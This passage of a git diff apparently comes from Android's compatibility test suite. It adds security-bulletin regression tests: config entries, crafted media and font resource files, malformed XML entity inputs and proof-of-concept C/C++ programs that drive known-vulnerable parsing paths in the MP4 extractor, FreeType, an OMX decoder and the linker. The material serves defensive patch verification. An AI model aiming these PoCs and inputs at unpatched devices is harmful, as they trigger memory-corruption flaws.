+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-2133->/data/local/tmp/CVE-2019-2133" />
+ <option name="push" value="CVE-2019-2134->/data/local/tmp/CVE-2019-2134" />
+
<!--__________________-->
<!-- Bulletin 2019-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-9362->/data/local/tmp/CVE-2019-9362" />
+ <option name="push" value="CVE-2019-9308->/data/local/tmp/CVE-2019-9308" />
+ <option name="push" value="CVE-2019-9357->/data/local/tmp/CVE-2019-9357" />
<option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
+ <!-- Bulletin 2019-12 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-2228->/data/local/tmp/CVE-2019-2228" />
+
+ <!--__________________-->
+ <!-- Bulletin 2020-01 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2020-0007->/data/local/tmp/CVE-2020-0007" />
+
<!--__________________-->
<!-- Bulletin 2020-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
+ <!--__________________-->
+ <!-- Bulletin 2020-10 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2020-0408->/data/local/tmp/CVE-2020-0408" />
+ <option name="push" value="CVE-2020-0421->/data/local/tmp/CVE-2020-0421" />
+
+ <!--__________________-->
+ <!-- Bulletin 2020-11 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2020-0450->/data/local/tmp/CVE-2020-0450" />
+ <option name="push" value="CVE-2020-0409->/data/local/tmp/CVE-2020-0409" />
+
<option name="append-bitness" value="true" />
</target_preparer>
@@ -249,4 +302,11 @@
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
<option name="runtime-hint" value="18m26s" />
</test>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+ <option name="src-dir" value="/sdcard/report-log-files/"/>
+ <option name="dest-dir" value="report-log-files/"/>
+ <option name="temp-dir" value="temp-report-logs/"/>
+ <option name="device-dir" value="true"/>
+ </target_preparer>
</configuration>
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 68945d3..7f38b80 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -2,3 +2,4 @@
mspector@google.com
samschumacher@google.com
manjaepark@google.com
+cdombroski@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:0000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_9308.mp4 b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
new file mode 100644
index 0000000..fbfc625
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
new file mode 100644
index 0000000..6f087cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2015-3873",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libmedia/include",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libstagefright_foundation",
+ "libdatasource",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..789d436
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,121 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <android/IMediaExtractor.h>
+#include <datasource/FileSource.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = new FileSource(argv[1]);
+ if (!dataSource) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *mp4Extractor =
+ ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (!mp4Extractor) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(mp4Extractor);
+ if (!mediaExtractorCUnwrapper) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ // seek to 10 seconds in the mp4 file
+ int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+ size_t numTracks = mediaExtractorCUnwrapper->countTracks();
+ for (size_t i = 0; i < numTracks; ++i) {
+ MetaDataBase metaData;
+ MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
+ mediaExtractorCUnwrapper->getTrackMetaData(
+ metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
+ MediaTrack::ReadOptions options;
+ if (seekTimeUs >= 0) {
+ options.setSeekTo(seekTimeUs,
+ MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+ }
+ if (mediaTrack) {
+ MediaBufferBase *mbuf = nullptr;
+ mediaTrack->start();
+ mediaTrack->read(&mbuf, &options);
+ }
+ }
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
new file mode 100644
index 0000000..28bb271
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-10244",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libft2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..ad8b6e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ if (size < 1) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t *data = new uint8_t[size];
+ if (!data) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+ (void)fread(data, sizeof(uint8_t), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ FT_Library ftLib;
+ if (FT_Init_FreeType(&ftLib)) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ FT_Face ftFace;
+ FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+ FT_Done_FreeType(ftLib);
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-2485",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *)buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp<android::hidl::memory::V1_0::IMemory> mem =
+ mapMemory(inputBuffers[i].mHidlMemory);
+ memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
new file mode 100644
index 0000000..af8ba51
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0670",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ],
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+ while (count) {
+ void *lib_handle = dlopen(libName, RTLD_NOW);
+ if (!lib_handle) {
+ return EXIT_FAILURE;
+ }
+ if (dlclose(lib_handle)) {
+ return EXIT_FAILURE;
+ }
+ count--;
+ }
+ return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+ char cmd[MAX_STRLEN];
+ char buf[MAX_STRLEN];
+ memset(cmd, 0, MAX_STRLEN);
+ memset(buf, 0, MAX_STRLEN);
+ sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+ FILE *fpMem = popen(cmd, "r");
+ if (!fpMem) {
+ return EXIT_FAILURE;
+ }
+ unsigned long totalMemUsage = 0;
+ while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+ unsigned long mem1 = 0;
+ unsigned long mem2 = 0;
+ int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+ if (numOfItemsRead < 2) {
+ pclose(fpMem);
+ return EXIT_FAILURE;
+ }
+ totalMemUsage += mem2 - mem1;
+ }
+ pclose(fpMem);
+ *memUsage = totalMemUsage;
+ return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ /* Memory usage is expected to rise during first few dlopen-dlcose pairs */
+ /* due to linker initializations. Hence memory is not tracked during */
+ /* first few dlopen-dlcose pairs. */
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ /* The linker specific initializations should be complete. Hence Memory */
+ /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+ /* are not expected to increase memory usage */
+ unsigned long memUsageBefore = 0;
+ if (getMemoryUsage(&memUsageBefore)) {
+ return EXIT_FAILURE;
+ }
+
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ unsigned long memUsageAfter = 0;
+ if (getMemoryUsage(&memUsageAfter)) {
+ return EXIT_FAILURE;
+ }
+
+ if (memUsageBefore != memUsageAfter) {
+ return EXIT_VULNERABLE;
+ }
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
